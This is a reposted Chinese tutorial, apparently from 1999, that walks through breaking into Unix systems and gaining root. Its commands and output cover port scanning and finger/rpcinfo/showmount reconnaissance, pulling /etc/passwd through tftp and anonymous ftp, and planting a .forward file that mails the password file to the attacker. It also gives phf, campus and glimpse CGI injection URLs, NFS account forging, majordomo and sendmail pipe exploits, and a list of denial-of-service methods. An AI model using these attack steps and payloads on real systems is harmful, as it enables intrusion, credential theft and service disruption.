注册
登录
| 关键词： samsa Mail passwd numen bin root User ftp Super etc |
入侵一个系统有很多步骤，阶段性很强的"工作"，其最终的目标是获得超级用户权限--对目标系统的绝对控制。从对该系统一无所知开始，我们利用其提供的各种网络服务收集关于它的信息，这些信息暴露 出系统的安全脆弱性或潜在入口；然后我们利用这些网络服务固有的或配置上的漏洞，试图从目标系统上取回重要信息（如口令文件）、或在上面执行命令，通过这些办法，我们有可能在该系统上获得一个普通的shell接口；接下来，我们再利用目标系统本地的操作系统或应用程序的漏洞试图提升我们在该系统上的权限，攫取超级用户控制；适当的善后工作包括隐藏身份、消除痕迹、安置特洛伊木马和留后门。 (零)、确定目标 1) 目标明确--那就不用废话了 2) 抓网：从一个有很多链接的WWW站点开始，顺藤摸瓜； 3) 区段搜索：如用samsa开发的mping(multi-ping); 4) 到网上去找站点列表； (一)、 白手起家（情报搜集） 从一无所知开始： 1) tcp_scan，udp_scan # tcp_scan numen 1-65535 7:echo: 7:echo: 9:discard: 13:daytime: 19:chargen: 21:ftp: 23:telnet: 25:smtp: 37:time: 79:finger 111:sunrpc: 512:exec: 513:login: 514:shell: 515:printer: 540:uucp: 2049:nfsd: 4045:lockd: 6000:xwindow: 6112:dtspc: 7100:fs: … # udp_scan numen 1-65535 7:echo: 7:echo: 9:discard: 13:daytime: 19:chargen: 37:time: 42:name: 69:tftp: 111:sunrpc: 161:UNKNOWN: 177:UNKNOWN: ... 看什么: 1.1)可疑服务: finger,sunrpc,nfs,nis(yp),tftp,etc.. 1.2)系统入口: ftp,telnet,http, shell(rsh), login (rlogin),smtp,exec(rexec) (samsa: [/etc/inetd.conf]最要紧!!) 2) finger # finger root@numen [numen] Login Name TTY Idle When Where root Super-User console 1 Fri 10:03 :0 root Super-User pts/6 6 Fri 12:56 192.168.0.116 root Super-User pts/7 Fri 10:11 zw root Super-User pts/8 1 Fri 10:04 :0.0 root Super-User pts/1 4 Fri 10:08 :0.0 root Super-User pts/11 3:16 Fri 09:53 192.168.0.114 root Super-User pts/10 Fri 13:08 192.168.0.116 root Super-User pts/12 1 Fri 10:13 :0.0 (samsa: root 这么多，不容易被发现哦~) # finger ylx@numen [victim.com] Login Name TTY Idle When Where ylx ??? pts/9 192.168.0.79 # finger @numen [numen] Login Name TTY Idle When Where root Super-User console 7 Fri 10:03 :0 root Super-User pts/6 11 Fri 12:56 192.168.0.116 root Super-User pts/7 Fri 10:11 zw root Super-User pts/11 3:21 Fri 09:53 192.16 numen: root Super-User pts/11 3:21 Fri 09:53 192.16 numen: ts/10 May 7 13:08 18 (192.168.0.116) (samsa:如果没有finger,就只好有rusers乐) 4) showmount # showmount -ae numen export table of numen: /space/users/lpf sun9 samsa:/space/users/lpf sun9:/space/users/lpf (samsa:该机提供了那些共享目录,谁共享了这些目录[/etc/dfs/dfstab]) 5) rpcinfo # rpcinfo -p numen program vers proto port service 100000 4 tcp 111 rpcbind 100000 4 udp 111 rpcbind 100024 1 udp 32772 status 100024 1 tcp 32771 status 100021 4 udp 4045 nlockmgr 100001 2 udp 32778 rstatd 100083 1 tcp 32773 ttdbserver 100235 1 tcp 32775 100021 2 tcp 4045 nlockmgr 100005 1 udp 32781 mountd 100005 1 tcp 32776 mountd 100003 2 udp 2049 nfs 100011 1 udp 32822 rquotad 100002 2 udp 32823 rusersd 100002 3 tcp 33180 rusersd 100012 1 udp 32824 sprayd 100008 1 udp 32825 walld 100068 2 udp 32829 cmsd (samsa:[/etc/rpc]可惜没开rexd,据说开了rexd就跟没password一样哦! 不过有rstat,rusers,mount和nfs:-) 6) x-windows # DISPLAY=victim.com:0.0 # export DISPLAY # export DISPLAY # xhost access control disabled, clients can connect from any host (samsa:great!!!) # xwininfo -root xwininfo: Window id: 0x25 (the root window) (has no name) Absolute upper-left X: 0 Absolute upper-left Y: 0 Relative upper-left X: 0 Relative upper-left Y: 0 Width: 1152 Height: 900 Depth: 24 Visual Class: TrueColor Border width: 0 Class: InputOutput Colormap: 0x21 (installed) Bit Gravity State: ForgetGravity Window Gravity State: NorthWestGravity Backing Store State: NotUseful Save Under State: no Map State: IsViewable Override Redirect State: no Corners: +0+0 -0+0 -0-0 +0-0 -geometry 1152x900+0+0 (samsa:can"t be greater!!!!!!!!!!!) 7) smtp # telnet numen smtp Trying 192.168.0.198... Connected to numen. Escape character is "^]". 220 numen.ac.cn ESMTP Sendmail 8.9.1b+Sun/8.9.1 Fri,7 May 1999 14:01:39 +0800 expn root 250 Super-User <">[email protected]> vrfy ylx 250 <">[email protected]> expn ftp expn ftp 250 <">[email protected]> (samsa:ftp说明有匿名ftp) (samsa:如果没有finger和rusers，只好用这种方法一个个猜用户名乐) debug 500 Command unrecognized: "debug" wiz 500 Command unrecognized: "wiz" (samsa:这些著名的漏洞现在哪儿还会有呢？:-(() 8) 使用 scanner(***) # satan victim.com ... (samsa:satan 是图形界面的,就没法陈列了!! 列举出 victim.com 的系统类型(e.g.SunOS 5.7),提供的服务(e.g.WWW)和存在的脆弱性) 二、隔山打牛（远程攻击） 1) 隔空取物:取得passwd 1.1) tftp # tftp numen tftp> get /etc/passwd Error code 2: Access violation tftp> get /etc/shadow Error code 2: Access violation tftp> quit (samsa:一无所获,但是...) # tftp sun8 tftp> get /etc/passwd Received 965 bytes in 0.1 seconds tftp> get /etc/shadow Error code 2: Access violation (samsa:成功了!!!;-) # cat passwd root:x:0:0:Super-User:/:/bin/ksh daemon:x:1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/:/bin/sh adm:x:4:4:Admin:/var/adm: lp:x:71:8:Line Printer Admin:/usr/spool/lp: smtp:x:0:0:Mail Daemon User:/: smtp:x:0:0:Mail Daemon User:/: uucp:x:5:5:uucp Admin:/usr/lib/uucp: nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico listen:x:37:4:Network Admin:/usr/net/nls: nobody:x:60001:60001:Nobody:/: noaccess:x:60002:60002:No Access User:/: ylx:x:10007:10::/users/ylx:/bin/sh wzhou:x:10020:10::/users/wzhou:/bin/sh wzhang:x:10101:4:Walt Whiteman:/users/wzhang:/sbin/sh (samsa:可惜是shadow过了的:-/) 1.2) 匿名ftp 1.2.1) 直接获得 # ftp sun8 Connected to sun8. 220 sun8 FTP server (UNIX(r) System V Release 4.0) ready. Name (sun8:root): anonymous 331 Guest login ok, send ident as password. Password: (samsa:your e-mail address,当然，是假的:->) 230 Guest login ok, access restrictions apply. ftp> ls 200 PORT command successful. 150 ASCII data connection for /bin/ls (192.168.0.198,34243) (0 bytes). bin dev etc incoming pub usr 226 ASCII Transfer complete. 35 bytes received in 0.85 seconds (0.04 Kbytes/s) ftp> cd etc 250 CWD command successful. ftp> ls 200 PORT command successful. 150 ASCII data connection for /bin/ls (192.168.0.198,34244) (0 bytes). group passwd 226 ASCII Transfer complete. 15 bytes received in 0.083 seconds (0.18 Kbytes/s) 15 bytes received in 0.083 seconds (0.18 Kbytes/s) ftp> get passwd 200 PORT command successful. 150 ASCII data connection for passwd (192.168.0.198,34245) (223 bytes). 226 ASCII Transfer complete. local: passwd remote: passwd 231 bytes received in 0.038 seconds (5.98 Kbytes/s) # cat passwd root:x:0:0:Super-User:/:/bin/ksh daemon:x:1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/:/bin/sh adm:x:4:4:Admin:/var/adm: uucp:x:5:5:uucp Admin:/usr/lib/uucp: nobody:x:60001:60001:Nobody:/: ftp:x:210:12::/export/ftp:/bin/false (samsa:正常!把完整的 passwd 放在匿名ftp目录下的笨蛋太少了) 1.2.2) ftp 主目录可写 # cat forward_sucker_file "| /bin/cat /etc/passwd|sed "s/^/ /"|/bin/mail [email protected]" # ftp victim.com Connected to victim.com 220 victim FTP server ready. Name (victim.com:zen): ftp 331 Guest login ok, send ident as password. Password:[your e-mail address:forged] 230 Guest login ok, access restrictions apply. ftp> put forward_sucker_file .forward 43 bytes sent in 0.0015 seconds (28 Kbytes/s) ftp> quit # echo test | mail [email protected] (samsa:等着passwd文件随邮件来到吧...) 1.3) WWW 著名的cgi大bug 1.3.1) phf http://silly.com/cgi-bin/nph-test-cgi?* http://silly.com/cgi-bin/phf?Qalias=x%0aless%20/etc/passwd 1.3.2) campus http://silly.edu/cgi-bin/campus?%0a/bin/cat%0a/etc/passwd %0a/bin/cat%0a/etc/passwd 1.3.3) glimpse http://silly.com/cgi-bin/aglimpse/80|IFS=5;CMD=5mail5memailto:@my.e-mail. addr (samsa:行太长,折了折,不要紧吧? ;-) 1.4) nfs 1.4.1) 如果把/etc共享出来，就不必说了 1.4.2) 如果某用户的主目录共享出来 # showmount -e numen export list for numen: /space/users/lpf sun9 /space/users/zw (everyone) # mount -F nfs numen:/space/users/zw /mnt # cd /mnt # ls -ld . drwxr-xr-x 6 1005 staff 2560 1999 5月 11 . # echo zw:x:1005:1:temporary break-in account:/:/bin/sh >> /etc/passwd # echo zw::::::::: >> /etc/shadow # su zw $ cat >.forward $ cat >.forward "| /bin/cat /etc/passwd|sed "s/^/ /"|/bin/mail [email protected]" ^D # echo test | mail zw@numen (samsa:等着你的邮件吧....) 1.5) sniffer 利用ethernet的广播性质，偷听网络上经过的IP包，从而获得口令。 关于sniffer的原理和技术细节，见[samsa 1999]. (samsa:没什么意思,有种``胜之不武""的感觉...) 1.6) NIS 1.6.1) 猜测域名，然后用ypcat(或对于NIS+:niscat)可获得passwd（甚至shadow） 1.6.2) 若能控制NIS服务器，可创建邮件别名 nis-master # echo "foo: "| mail [email protected] < /etc/passwd "" >>/etc/aliases nis-master # cd /var/yp nis-master # make aliases nis-master # echo test | mail -v [email protected] 1.7) e-mail e.g.利用majordomo(ver. 1.94.3)的漏洞 Reply-to: a~.`/usr/bin/rcp${IFS}[email protected]:script${IFS}/tmp /script;;source${IFS}/tmp/script`.q~a/ad=cucu/c=scapegoat\@his.e-mail # cat script /bin/cat /etc/passwd|sed "s/^/ /"|/bin/mail [email protected] # 1.8) sendmail 利用sendmail 5.55的漏洞: # telnet victim.com 25 Trying xxx.xxx.xxx.xxx... Connected to victim.com Escape character is "^]". 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04 mail from: "|/bin/mail [email protected] < /etc/passwd" 250 "|/bin/mail [email protected] < /etc/passwd"... Sender ok rcpt to: nosuchuser 550 nosuchuser... User unknown data 354 Enter mail, end with "." on a line by itself .. 250 Mail accepted quit Connection closed by foreign host. (samsa:wait...) 2) 远程控制 2.1) DoS攻击 2.1.1) Syn-flooding 向目标发起大量TCP连接请求，但不按TCP协议规定完成正常的3次握手，导致目标系统等待并耗费其网络资源，从而导致其网络服务不可用。 2.1.2) Ping-flooding 向目标系统发大量ping包,i.e.ICMP_ECHO包，使目标的网络接口应接不暇. 2.1.3) Udp-stroming 类似 2.1.2)发大量udp包。 2.1.4) E-mail bombing 发大量e-mail到对方邮箱，使其没有剩余容量接收正常邮件。 2.1.5) Nuking 向目标系统某端口发送一点特定数据，使之崩溃。 2.1.6) Hi-jacking 冒充特定网络连接之一放向网络上发送特定包(FIN或RST)，以中止特定网络连接； 2.2) WWW（远程执行） 2.2.1) phf CGI 2.2.3) campus CGI 2.2.4) glimpse CGI (samsa:在网上看见NT下也有一个叫websn.exe的buggy CGI,详情不清楚) 2.3) e-mail 同1.7，利用majordomo(ver. 1.94.3)的漏洞 2.4) sunrpc:rexd 据说如果rexd开放，且rpcbind不是secure方式，就相当于没有口令，可以任意远程运行目标机器上的过? 2.5) x-windows 如果xhost的access control is disabled,就可以远程控制这台机器的显示系统，在 上面任意显示，还可以偷窃键盘输入和显示内容，甚至可以远程执行... |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
